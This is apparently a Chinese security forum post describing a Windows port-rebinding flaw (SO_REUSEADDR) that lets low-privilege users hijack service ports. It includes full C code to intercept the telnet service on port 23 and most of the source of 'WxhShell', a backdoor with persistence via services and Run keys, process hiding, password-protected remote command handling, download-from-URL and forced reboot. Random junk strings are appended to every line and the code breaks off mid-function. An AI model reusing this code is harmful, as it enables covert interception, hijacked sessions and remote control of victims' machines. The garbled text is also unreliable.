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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "OwK-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a:8 MoH4  
;4U"y8PVTh  
  saddr.sin_family = AF_INET; l?QA;9_R'  
+OqEe[Wk#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8>@JW]  
jST4O"DjM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 35Fxzj $  
Vm8@ LA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )X;051Q  
j+fib} 8}  
  这意味着什么?意味着可以进行如下的攻击: `Xz!apA  
G^N@ r:RS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4Q/{lqG  
|h }4J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \-pqqSy  
3dSb!q0&N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,]:Gn5~  
~`Rar2%B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D Qz+t  
k3H0$1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 DF_wMv:>^  
=&6sU{j*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .%y'q!?  
IIT UM)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 41R6V>e@9J  
?"*JV1 9  
  #include HCsd$M;Hbv  
  #include 5x%Blkx  
  #include d#TA20`  
  #include    K-~gIlbQ`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JO*/UC>"  
  int main() 7nNNc[d*=  
  { CIz0Gjtx6m  
  WORD wVersionRequested; e pp04~  
  DWORD ret; 7*j!ZUzp  
  WSADATA wsaData; F)KR8 (  
  BOOL val; 9Vqy<7i1  
  SOCKADDR_IN saddr; >s 6ye  
  SOCKADDR_IN scaddr; .dMdb7  
  int err; V*ao@;sD  
  SOCKET s; ;@T0wd_i|  
  SOCKET sc; DI8<0.L  
  int caddsize; `3 i<jZMG  
  HANDLE mt; e@qH!.g)  
  DWORD tid;   -$?t+ "/E  
  wVersionRequested = MAKEWORD( 2, 2 ); `vMhrn  
  err = WSAStartup( wVersionRequested, &wsaData ); p J_+n:_{  
  if ( err != 0 ) { ~uH_y-  
  printf("error!WSAStartup failed!\n"); S :8  
  return -1; 70GBf"  
  } nj0sh"~+  
  saddr.sin_family = AF_INET; l 9 wO x  
   yhYF "~CM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PcEE`.  
Yb-{+H8{J  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mE`qA*=?  
  saddr.sin_port = htons(23); SOq:!Qt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W^H3=hZ  
  { 9sT5l"?g  
  printf("error!socket failed!\n"); $:%E<j 4Dn  
  return -1; );%H;X+x  
  } _crhBp5@T3  
  val = TRUE; ~x!up 9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A$r$g\5+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) );':aX j  
  { +^lB"OcOX@  
  printf("error!setsockopt failed!\n"); }mXYS|{  
  return -1; GkX Se)#p  
  } *Q^ z4UY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ZaU8eg7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  k`Ifl)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >9rZV NMU  
}a$.ngP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F^'$%XKV  
  { YO.+-(   
  ret=GetLastError(); 3q}j"x?  
  printf("error!bind failed!\n"); fCx (  
  return -1; \OA{&G.  
  } VO8rd>b4  
  listen(s,2); t|eH'"N%o  
  while(1) EC;>-s  
  { Cp(2]Eb  
  caddsize = sizeof(scaddr); gr*CN<  
  //接受连接请求 ;5bd<N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v8*)^-Fx  
  if(sc!=INVALID_SOCKET) oDV6[e  
  { ;o3gR4u_L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @]vY[O!&;  
  if(mt==NULL) c%C6d97q  
  { >i,_qe?V:w  
  printf("Thread Creat Failed!\n"); RC/ 3\ '  
  break; 4_kN';a4Q  
  } zk FX[-'O  
  } N=BG0t$  
  CloseHandle(mt); bO2?DszT5  
  } *$g!/,  
  closesocket(s); Z;Hkx1  
  WSACleanup(); M/quswn1  
  return 0; 8^>c_%e}  
  }   lP3|h*  
  DWORD WINAPI ClientThread(LPVOID lpParam) Si>38vCJ*  
  { )Q'E^[Ua  
  SOCKET ss = (SOCKET)lpParam; g w([08  
  SOCKET sc; zo( #tQ-'m  
  unsigned char buf[4096]; |MFAP!rycS  
  SOCKADDR_IN saddr; <'~m1l#2  
  long num; [&n[p?  
  DWORD val; ^ *"fC  
  DWORD ret; ^iMr't\b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 WHY/x /$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L"|Bm{Run  
  saddr.sin_family = AF_INET; )pH+ibR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m4 (p MrJ  
  saddr.sin_port = htons(23); n?.;*:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M_};J;  
  { cdt9hH`Cd  
  printf("error!socket failed!\n"); l,7& z  
  return -1; p0bWzIH  
  } kun/KY  
  val = 100; &rBe -52  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &.,K@OFE}  
  { zHb [.ry~  
  ret = GetLastError(); s2{SbOBis  
  return -1; Ev5~= ]  
  } y|}~"^+T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N $) G 8  
  { W5 F\e[Ax5  
  ret = GetLastError(); "Gp[.=.z?  
  return -1; 985F(r  
  } HE,L8S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +-^>B%/&Z  
  { m!/TJhiQ  
  printf("error!socket connect failed!\n"); 2bNOn%!  
  closesocket(sc); Cf=H~&`Z  
  closesocket(ss); [i`  
  return -1; LpU}.  
  } HU $"o6ap  
  while(1) ;o!p9MEpz;  
  { CJ\a7=*i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iYStl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `F7]M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =\oH= f  
  num = recv(ss,buf,4096,0); }tW-l*\U  
  if(num>0) z%YNZ ^d  
  send(sc,buf,num,0); B$_4 ul\)  
  else if(num==0) ,x8;| o5  
  break; I9S;t _Z<  
  num = recv(sc,buf,4096,0); OOqT0w N  
  if(num>0) il5C9ql$  
  send(ss,buf,num,0); f+^6.%  
  else if(num==0) m1X7zUCy  
  break; &u.{]Yjx  
  } \)6glAtN  
  closesocket(ss); x%}D+2ro-t  
  closesocket(sc); u#@/^h;  
  return 0 ; W%!(kN&d  
  } S/'0czDMW  
a;HAuy`M x  
E 5&Z={  
========================================================== :(n<c  
I}4 PB+yu  
下边附上一个代码,,WXhSHELL =Z^5'h~  
9(N  
========================================================== %#x4wi  
$jN.yNm0  
#include "stdafx.h" /MF 7ZvN.  
k&dXK  
#include <stdio.h> G]'ah1W  
#include <string.h> ^c\O , *:  
#include <windows.h> $+*nb4  
#include <winsock2.h> VsQ|t/|#  
#include <winsvc.h> RV~fml9c  
#include <urlmon.h> +` Md5.w  
?F"o+]i+^  
#pragma comment (lib, "Ws2_32.lib") G(&[1V%x  
#pragma comment (lib, "urlmon.lib") ,9P-<P  
U**8^:*y#:  
#define MAX_USER   100 // 最大客户端连接数 "6f`hy  
#define BUF_SOCK   200 // sock buffer +/ukS6>gr  
#define KEY_BUFF   255 // 输入 buffer {@InOo!4w]  
KZppQ0  
#define REBOOT     0   // 重启 ?"x4u#x  
#define SHUTDOWN   1   // 关机 C}8#yAS9M  
b(*\4n  
#define DEF_PORT   5000 // 监听端口 E3uu vQ#|  
Je6[q  
#define REG_LEN     16   // 注册表键长度 2Vx4"fHP#N  
#define SVC_LEN     80   // NT服务名长度 y(COB6r  
Pd91<L  
// 从dll定义API z#tIa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iq; | i!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 75# 8P?i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g&$=Y7G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tIuM9D{P  
pbVL|\oB}  
// wxhshell配置信息 54_}9_g  
struct WSCFG { }'oU/@yG  
  int ws_port;         // 监听端口 X1^VdJE  
  char ws_passstr[REG_LEN]; // 口令 TA[%eMvA  
  int ws_autoins;       // 安装标记, 1=yes 0=no WX&IQ@  
  char ws_regname[REG_LEN]; // 注册表键名  T~[:oil  
  char ws_svcname[REG_LEN]; // 服务名 /Y0~BQC7!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tdm7MPM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PtfG~$h?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $Rm~ VwY#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Fw<"]*iu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -b-a21,m>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .zO^"mXjS  
n7!T{+ge  
}; WPNB!" E98  
$J7V]c*-b  
// default Wxhshell configuration ?2<) Jw  
struct WSCFG wscfg={DEF_PORT, mfr aw2H  
    "xuhuanlingzhe", "DW~E\Y  
    1, l9.`2d]o  
    "Wxhshell", k~tEUsv  
    "Wxhshell", 4Q|>k )H  
            "WxhShell Service", <o(;~  
    "Wrsky Windows CmdShell Service", UsE\p9mCuV  
    "Please Input Your Password: ", {T4_Xn-I  
  1, G+ /Q!ic  
  "http://www.wrsky.com/wxhshell.exe", Z<vz%7w  
  "Wxhshell.exe" Sy8t2lk  
    }; =3bk=vy  
;8]HCC@:  
// 消息定义模块 s%jBIeh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J n.7W5v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iXWHI3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uKJ:)oyaCP  
char *msg_ws_ext="\n\rExit."; 4$Ai!a  
char *msg_ws_end="\n\rQuit."; B {Cm`f8E  
char *msg_ws_boot="\n\rReboot..."; R$:-~<O  
char *msg_ws_poff="\n\rShutdown..."; @@ Q4{o  
char *msg_ws_down="\n\rSave to "; mA(kq   
xQFRM aQE  
char *msg_ws_err="\n\rErr!"; 5{! fa  
char *msg_ws_ok="\n\rOK!"; r^,_m,s'<  
b<u\THy#  
char ExeFile[MAX_PATH]; eb_.@.a  
int nUser = 0; .}dLqw  
HANDLE handles[MAX_USER]; /uw@o9`~2-  
int OsIsNt; j7P49{  
~^F]t$rz  
SERVICE_STATUS       serviceStatus; |O8e;v72g^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mI lg=8:  
?_]Y8f  
// 函数声明 7ZUN;mr  
int Install(void); $xu2ZBK  
int Uninstall(void); Zo=,!@q(  
int DownloadFile(char *sURL, SOCKET wsh); PF4[;E S'  
int Boot(int flag); UynGG@P@  
void HideProc(void); A;U c&G  
int GetOsVer(void); QYA4C1h'  
int Wxhshell(SOCKET wsl); #(] D]f[@  
void TalkWithClient(void *cs); r]e{~v/  
int CmdShell(SOCKET sock); 2zj` H9  
int StartFromService(void); WA n@8!9  
int StartWxhshell(LPSTR lpCmdLine); |r@;ulO  
O@$>'Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2-F7tcya|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xU\!UVQ/  
/E6)>y66  
// 数据结构和表定义 UC&$8^  
SERVICE_TABLE_ENTRY DispatchTable[] = ?wtKi#k'v#  
{ xM_#FxJb  
{wscfg.ws_svcname, NTServiceMain}, r`"_D%kc  
{NULL, NULL} ev&l=(hY  
}; ]D6<6OB  
kHK<~srB  
// 自我安装 $ DN.  
int Install(void) U`*we43  
{ ~D5 -G?%$"  
  char svExeFile[MAX_PATH]; }-[l)<F:  
  HKEY key; X "Eqhl<t  
  strcpy(svExeFile,ExeFile); SrA6}kS  
as:=QMV  
// 如果是win9x系统,修改注册表设为自启动 ei2?H;H;  
if(!OsIsNt) { DS8HSSD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2?,l r2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dwn|1%D  
  RegCloseKey(key); 8i6iynR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c<1$ zQY!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u/tJ])~@  
  RegCloseKey(key); l<_v3/3  
  return 0; !+$qSD,%x  
    } h x^@aI  
  } #o&T$D5  
} P.(UbF d'  
else { Pr>$m{ Z  
m#h`iW  
// 如果是NT以上系统,安装为系统服务 $I5|rB/4?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &Hw:65O  
if (schSCManager!=0) ^aaj=p:c V  
{ *42KLns  
  SC_HANDLE schService = CreateService `_ ^I 2  
  ( P#pb48^-  
  schSCManager, ^(Gl$GC$Mu  
  wscfg.ws_svcname, -Ua5anzB  
  wscfg.ws_svcdisp,  WDNj 7  
  SERVICE_ALL_ACCESS, f TmJDUv+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3@F U-k,i  
  SERVICE_AUTO_START, Xp;'Wa"@  
  SERVICE_ERROR_NORMAL, 6~ET@"0uK  
  svExeFile, ,5 ,r .  
  NULL, 2-S}#S}2C  
  NULL, #8d#Jw  
  NULL, S> Fb'rJ3  
  NULL, IlEU6Rs  
  NULL e ,XT(KY  
  ); Q*1Avy6]  
  if (schService!=0) li3X}  
  { (fc_V[(m"  
  CloseServiceHandle(schService); UHJro9  
  CloseServiceHandle(schSCManager); Vb 36R _u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 65B&>`H~  
  strcat(svExeFile,wscfg.ws_svcname); Ds=d~sNu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w[2E:Nj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1sUgjyGQ  
  RegCloseKey(key); zRh)q,Dt  
  return 0; $zz4A~   
    } `DSDuJw%  
  } 319 4]  
  CloseServiceHandle(schSCManager); QP%AJ[3ea%  
} .9DhD=8aIO  
} , -])[u  
OfLj 4H 6Q  
return 1; 6T"5,Q</h  
} FkaQVT  
<a CzB7x  
// 自我卸载 *4 m]UK  
int Uninstall(void) iLdUus!  
{ 8U#14U5rS  
  HKEY key; NrcV%-+u%  
lyowH{.N"3  
if(!OsIsNt) { ,*$Y[UT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J?p|Vy|9  
  RegDeleteValue(key,wscfg.ws_regname); ({4?RtYm  
  RegCloseKey(key); s]vsD77&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &~"N/o  
  RegDeleteValue(key,wscfg.ws_regname); Kj"n Id)  
  RegCloseKey(key); iR4"I7J  
  return 0; TbqtT_{  
  } jxK `ShW=  
} HELTL$j,b  
} M7DoAS{6e  
else { rp ]H&5.*  
vSQB~Vw8 t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $jC+oYXj  
if (schSCManager!=0) D<Z\6)|%I  
{ Lxa<zy~b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0l(G7Ju  
  if (schService!=0) n`Ypv{+ {%  
  { &Ai +t2  
  if(DeleteService(schService)!=0) { r*7J#M /  
  CloseServiceHandle(schService); SM}& @cJ  
  CloseServiceHandle(schSCManager); H2_6m5[&,  
  return 0; j"0TAYmXwu  
  } Dmtsu2o  
  CloseServiceHandle(schService); y_IF{%i  
  } GyE5jh2  
  CloseServiceHandle(schSCManager); dDe$<g5L4  
} q!d7Ms{q  
} ]VVx2ERs  
3qfQlqJ&3  
return 1; ?AQR\)P  
} C-2#-{<  
eET1f8 B=L  
// 从指定url下载文件 5IG#-Q(6sp  
int DownloadFile(char *sURL, SOCKET wsh) .v) A|{:2  
{ 7r3EMX\#Qm  
  HRESULT hr; <l)I% 1T_c  
char seps[]= "/"; "jq F  
char *token; Kn+B):OY+  
char *file; (.M &nN'Ce  
char myURL[MAX_PATH]; V=GP_^F  
char myFILE[MAX_PATH]; \p izVt  
h>NuQo*  
strcpy(myURL,sURL); %Y].i/".;P  
  token=strtok(myURL,seps); P= 26! b  
  while(token!=NULL) oFJx8XU  
  { Cp-p7g0wlg  
    file=token; } AHR7mu=  
  token=strtok(NULL,seps); Daf;; w  
  } &W y9%  
2)`4(38  
GetCurrentDirectory(MAX_PATH,myFILE); 0o!Egq_  
strcat(myFILE, "\\"); 'k$j^ |r>  
strcat(myFILE, file); -[lOf  
  send(wsh,myFILE,strlen(myFILE),0); DTV"~>@  
send(wsh,"...",3,0); M[dJQ (  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _K>YB>W}7  
  if(hr==S_OK) cr{f*U6`  
return 0; "IdN*K  
else 6c#1Do(W+  
return 1; SQBe}FlktK  
#c1c%27cmm  
} dBp)6ok#c  
[%6"UH r  
// 系统电源模块 x_KJCU  
int Boot(int flag) v+2t;PJd2  
{ 7gbu7"Qc  
  HANDLE hToken; Pu|3_3^  
  TOKEN_PRIVILEGES tkp; 7N fA)$  
*p%=u>?&  
  if(OsIsNt) { 8DJoQl9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pj'[ H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v+`gQXJ"G  
    tkp.PrivilegeCount = 1; .37Jrh0Iv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TzY[- YlvF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "PY&NL?  
if(flag==REBOOT) { ^{fA:N=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &Ukh  
  return 0; _"c?[n  
} PeB7Q=d)K1  
else { ER$qL"H U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |`6*~ciUV  
  return 0; >*goDtTjp  
} %:] ive]e  
  } ]EPFyVt~3  
  else { nx'D&, VX  
if(flag==REBOOT) { -]~vE fq+T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f+W %X  
  return 0; {`1gDKH  
} +/~;y{G..z  
else { },G5!3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Tf?|*P  
  return 0; 3It9|Y"6[  
} 'e06QMp@  
} C.;H?So(  
p{4nWeH?B  
return 1; p!3!&{  
} Vq<\ix Ri  
?Q%X,!~ \:  
// win9x进程隐藏模块 0T7""^'&  
void HideProc(void) gCY%@?YyN  
{ Z |CL:)h  
-mK;f$X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mXXU{IwUe  
  if ( hKernel != NULL ) g O ;oM?|  
  { LL^WeD_Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .a`(?pPr,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aqzIMOAf  
    FreeLibrary(hKernel); aaM76;  
  } f& >[$zh  
8!(09gW'>  
return; VsM~$ )  
} V t@]  
yd4\%%]  
// 获取操作系统版本 gG6j>%y  
int GetOsVer(void) o\;cXu h  
{ =;?afUj  
  OSVERSIONINFO winfo; (7_}UT@w-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3c.,T  
  GetVersionEx(&winfo); aaODj>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V1Opp8  
  return 1; )Cfk/OnRd  
  else ||t"}Y  
  return 0; Zw<\^1  
} ?m>!P@ M  
[=q&5'FY0  
// 客户端句柄模块 ^J-\s_)"  
int Wxhshell(SOCKET wsl) NhYce>  
{ U^.kp#x#  
  SOCKET wsh; 6<h ==I   
  struct sockaddr_in client; zo~5(O@  
  DWORD myID; Y(3X5v?[  
^TF71u o  
  while(nUser<MAX_USER) /I/gbmc)  
{ I c 2R\}q  
  int nSize=sizeof(client); aBonq]W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .>Fy ]Cqoh  
  if(wsh==INVALID_SOCKET) return 1; r0 fxEYze&  
yO`HL'SMo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B LI 9(@  
if(handles[nUser]==0) 6_wj,7  
  closesocket(wsh); K{WLo5HP  
else yz7X7mAo  
  nUser++; yhSbX4Q  
  } [Y_CRxa\u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hiQ #<  
qzt.k^'-^  
  return 0; T>2_r6;  
} `8sC>)lrwu  
]d]rV `RF  
// 关闭 socket 3q*p#l~  
void CloseIt(SOCKET wsh) Uop`)  
{ sOUQd-!"  
closesocket(wsh); nWz7$O  
nUser--; ;S.o` z1GI  
ExitThread(0); |`,AA a  
} -.=:@H}r  
E6zSMl5b  
// 客户端请求句柄 }lP'bu  
void TalkWithClient(void *cs) g#/"3P2 H  
{ LX2Re ]&  
dFVx*{6  
  SOCKET wsh=(SOCKET)cs; &;wNJ)Uc  
  char pwd[SVC_LEN]; ZtLZW/`  
  char cmd[KEY_BUFF]; K*[`s'Ip-  
char chr[1]; Yfd0Np~  
int i,j; #Li6RSeW  
M!)~h<YL  
  while (nUser < MAX_USER) { #M~6A^)  
a*(,ydF|L  
if(wscfg.ws_passstr) { eN{ewn#0.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O; #qG/b1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hru~Y}V  
  //ZeroMemory(pwd,KEY_BUFF); r(6$.zx  
      i=0; a 0+W-#G  
  while(i<SVC_LEN) { D@ 4sq^|2  
B9h'}460H  
  // 设置超时 2{;~Bg d  
  fd_set FdRead; s5cY>  
  struct timeval TimeOut; %;MM+xVVX  
  FD_ZERO(&FdRead); L }L"BY3$  
  FD_SET(wsh,&FdRead); J,Rp&tavt:  
  TimeOut.tv_sec=8; O ! iN  
  TimeOut.tv_usec=0; &A!?:?3%O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o@47WD'm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J[7Sf^r  
p38RgEf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UsQh+W"?  
  pwd=chr[0]; UrJrv x  
  if(chr[0]==0xd || chr[0]==0xa) { dp DPSI  
  pwd=0; uoi~JF  
  break; * ,#SwZ  
  } {&,MkWgG  
  i++; fuao*L]  
    } ~lH_d[  
:-)H tyzf  
  // 如果是非法用户,关闭 socket 'M!*Ge  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;@$v_i   
} GA+#'R  
8RaRXnJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LzGSN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T6M=BkcP  
X 3q2XU  
while(1) { ~A$y-Dt'  
_y5J]Yu`j  
  ZeroMemory(cmd,KEY_BUFF);  O3~7  
@T@lHc  
      // 自动支持客户端 telnet标准   -ztgirU  
  j=0; _Qd C V`  
  while(j<KEY_BUFF) { &Fy})/F3v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E@[ZwTnJ  
  cmd[j]=chr[0]; X-k$6}D  
  if(chr[0]==0xa || chr[0]==0xd) { bBg=X}9  
  cmd[j]=0; 7Q>bJ Ek7  
  break; /:-Y7M*   
  } 1.IEs:(;  
  j++; He)vl.  
    } 9gQ ]!Oq  
T7# }& >  
  // 下载文件 ,%<ICusZ  
  if(strstr(cmd,"http://")) { ZZ2vdy38  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JS2h/Y$  
  if(DownloadFile(cmd,wsh)) Zt/4|&w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m4x8W2q  
  else |!hN!j*)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); + C'<*  
  } Lm1  -  
  else { ESi'3mbeC  
/Xf_b.ZM&  
    switch(cmd[0]) { #fT<]j(  
  JrNqS[c/  
  // 帮助 pKNrEq  
  case '?': { *iiyU}x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %@'[g]h k  
    break; HA`q U  
  } _>RTef L5  
  // 安装 4RL0@)0F  
  case 'i': { |] cFsB#G  
    if(Install()) D*}_L   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iTc q=  
    else [Ufx=BPx3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }UX0 eI4  
    break; |f{(MMlj  
    } T%O2=h\} E  
  // 卸载 fV o7wp  
  case 'r': { bvF-F$n%F  
    if(Uninstall()) u#)ARCx,w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .!Q*VTW  
    else =g{Hs1W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y134m  
    break; yt[*4gF4  
    } Xv2Q8-}w  
  // 显示 wxhshell 所在路径 ;i-<dAV8B  
  case 'p': { V(wANvH  
    char svExeFile[MAX_PATH]; 'dJ(x  
    strcpy(svExeFile,"\n\r"); 0HPqoen$  
      strcat(svExeFile,ExeFile); bwyj[:6l  
        send(wsh,svExeFile,strlen(svExeFile),0);  LOi/+;>  
    break; w^E$R  
    } 9CPr/q9'  
  // 重启 ]=vRjw  
  case 'b': { =58:e7(df  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6rBP,\m  
    if(Boot(REBOOT)) 1<F6{?,z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ypLt6(1j%  
    else { d^qTY?k.  
    closesocket(wsh); |"aop|  
    ExitThread(0); Ef\&3TcQ  
    } L]wk Ba  
    break; &F~97F)A)  
    } K;lxPM]  
  // 关机 )R6-]TkA_  
  case 'd': { $0&<Jx  
